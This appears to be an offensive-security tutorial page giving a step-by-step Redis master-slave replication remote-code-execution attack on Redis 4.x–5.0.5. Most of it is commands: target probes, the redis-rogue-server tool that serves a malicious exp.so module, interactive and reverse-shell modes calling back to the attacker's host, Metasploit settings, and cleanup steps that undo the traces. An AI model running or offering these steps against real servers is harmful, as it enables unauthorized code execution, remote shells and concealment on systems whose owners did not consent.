Skip to content
HackIndex logo

HackIndex

Redis Master-Slave Replication RCE

3 min read Jul 14, 2026

Redis replication allows a slave instance to sync its entire dataset from a master. An attacker controls a rogue Redis master that serves a malicious .so module file during the full resync process. The target is configured as a slave of the rogue master, receives the .so as the sync payload, saves it to disk, and then loads it with MODULE LOAD. This is the most reliable way to deliver binary module payloads when you cannot write files via SCP or HTTP.

Affects Redis 4.x and 5.x (up to 5.0.5). Redis 6+ tightened replication security, making this harder but not impossible in misconfigured deployments.

Prerequisites Check

1 – Redis version is 4.0–5.0.5:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version

2 – CONFIG access on target:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

Must return a path.

3 – SLAVEOF / REPLICAOF command is available:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 slaveof no one

OK or ERR already master confirms the command works. An ERR unknown command means it is disabled.

4 – Target can reach your attack box on the rogue master port: The target's Redis instance initiates the outbound replication connection to your machine. Confirm outbound traffic is not blocked:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 6381
┌──(kali㉿kali)-[~]
└─$ # From target (if you have shell): nc -zv $LHOST 6381

Step 1 – Set Up redis-rogue-server

Clone and prepare:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/n0b0dyCN/redis-rogue-server
┌──(kali㉿kali)-[~]
└─$ cd redis-rogue-server

The exp.so module must be in the same directory as the script. It is included in the repo. Verify:

┌──(kali㉿kali)-[~]
└─$ ls exp.so

If missing, get it from RedisModulesSDK:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/n0b0dyCN/RedisModulesSDK
┌──(kali㉿kali)-[~]
└─$ cp RedisModulesSDK/exp/exp.so .

Step 2 – Run the Rogue Master and Get a Shell

Interactive shell mode:

┌──(kali㉿kali)-[~]
└─$ python3 redis-rogue-server.py --rhost $TARGET_IP --rport 6379 --lhost $LHOST --lport 6381

Follow the prompts — select i for interactive shell when asked. The script:

  1. Connects to the target Redis

  2. Sets CONFIG SET dbfilename exp.so

  3. Issues SLAVEOF $LHOST 6381 to make the target replicate from your rogue master

  4. Serves the exp.so module during the full resync

  5. Issues MODULE LOAD ./exp.so on the target

  6. Drops you into an interactive shell via system.exec

Reverse shell mode:

Start your listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Then run redis-rogue-server selecting r for reverse shell:

┌──(kali㉿kali)-[~]
└─$ python3 redis-rogue-server.py --rhost $TARGET_IP --rport 6379 --lhost $LHOST --lport 6381

At the shell type prompt, select r and provide your $LHOST and $LPORT.

Authenticated Target

If the target requires a password:

┌──(kali㉿kali)-[~]
└─$ python3 redis-rogue-server.py --rhost $TARGET_IP --rport 6379 --lhost $LHOST --lport 6381 --passwd $PASSWORD

Metasploit Module

msf6 > use exploit/linux/redis/redis_replication_cmd_exec
msf6 > set RHOSTS $TARGET_IP
msf6 > set LHOST $LHOST
msf6 > set SRVHOST $LHOST
msf6 > set PASSWORD $PASSWORD
msf6 > run

SRVHOST must be your reachable IP address — not 0.0.0.0. The module starts a rogue Redis master on SRVPORT (default 6379) and handles the full replication flow automatically.

Step 3 – Verify and Clean Up

After getting your shell, check what user you are running as:

user@host ~ $ id
user@host ~ $ whoami

Clean up the loaded module and replication config:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module unload shell
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 slaveof no one
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis

References